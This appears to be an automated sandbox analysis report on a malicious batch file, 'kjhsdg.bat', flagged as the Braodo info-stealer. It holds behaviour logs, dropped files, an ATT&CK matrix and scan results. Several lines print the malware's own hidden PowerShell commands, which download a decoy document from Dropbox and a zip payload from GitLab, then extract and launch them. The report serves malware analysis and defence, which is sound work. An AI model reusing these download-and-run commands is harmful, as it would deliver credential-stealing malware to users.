Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4591	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5257	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5436	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 423	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3860	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5916	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1672	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2793	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\pythonw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\python312.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\libcrypto-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\libssl-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\libffi-8.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\vcruntime140_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\python3.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6504	Thread sleep count: 4591 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5532	Thread sleep count: 5257 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5688	Thread sleep count: 5436 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6416	Thread sleep count: 423 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3224	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6564	Thread sleep count: 3860 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6664	Thread sleep count: 5916 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2180	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 516	Thread sleep count: 1672 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 516	Thread sleep count: 2793 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6384	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: NEWS.txt.17.dr	Binary or memory string: on Windows Hyper-V hosts and guests.
Source: powershell.exe, 0000000E.00000002.3281130382.000002A6E03B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000C.00000002.2131684518.00000271715D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWeP
Source: NEWS.txt.17.dr	Binary or memory string: - gh-issue-92658: Add support for connecting and binding to Hyper-V sockets
Source: NEWS.txt.17.dr	Binary or memory string: test_functools hanging on the Android armv7 qemu emulator.

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_1436.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_4980.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4980, type: MEMORYSTR

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I set "C:\Users\user\Desktop\kjhsdg.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I goto "C:\Users\user\Desktop\kjhsdg.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I echo "C:\Users\user\Desktop\kjhsdg.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I pause "C:\Users\user\Desktop\kjhsdg.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/campaign_information_for_partners_v5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'c:\users\user\appdata\local\temp\\campaign_information_for_partners_v5.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'c:\users\public\document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/campaign_information_for_partners_v5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'c:\users\user\appdata\local\temp\\campaign_information_for_partners_v5.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'c:\users\public\document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected Braodo

Source: Yara match	File source: amsi64_4980.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1848, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Document\DLLs\ld_312.pd, type: DROPPED

Remote Access Functionality

Yara detected Braodo

Source: Yara match	File source: amsi64_4980.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1848, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Document\DLLs\ld_312.pd, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	1 Command and Scripting Interpreter	11 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
kjhsdg.bat	5%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\Public\Document\DLLs\ld_312.pd	3%	ReversingLabs
C:\Users\Public\Document\DLLs\libcrypto-3.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libffi-8.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libssl-3.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\select.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\Public\Document\python.exe	0%	ReversingLabs
C:\Users\Public\Document\python3.dll	0%	ReversingLabs
C:\Users\Public\Document\python312.dll	0%	ReversingLabs
C:\Users\Public\Document\pythonw.exe	0%	ReversingLabs
C:\Users\Public\Document\vcruntime140.dll	0%	ReversingLabs
C:\Users\Public\Document\vcruntime140_1.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://invisible-island.net/ncurses/NEWS.html#index-t20170401).	0%	Avira URL Cloud	safe
https://bugzilla.redhat.com/show_bug.cgi?id=1866884	0%	Avira URL Cloud	safe
https://importlib-metadata.readthedocs.io/en/latest/history.html#v3-7-0	0%	Avira URL Cloud	safe
https://bugs.python.org/issue26903.	0%	Avira URL Cloud	safe
https://zipp.readthedocs.io/en/latest/history.html#v3-14-0	0%	Avira URL Cloud	safe
https://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
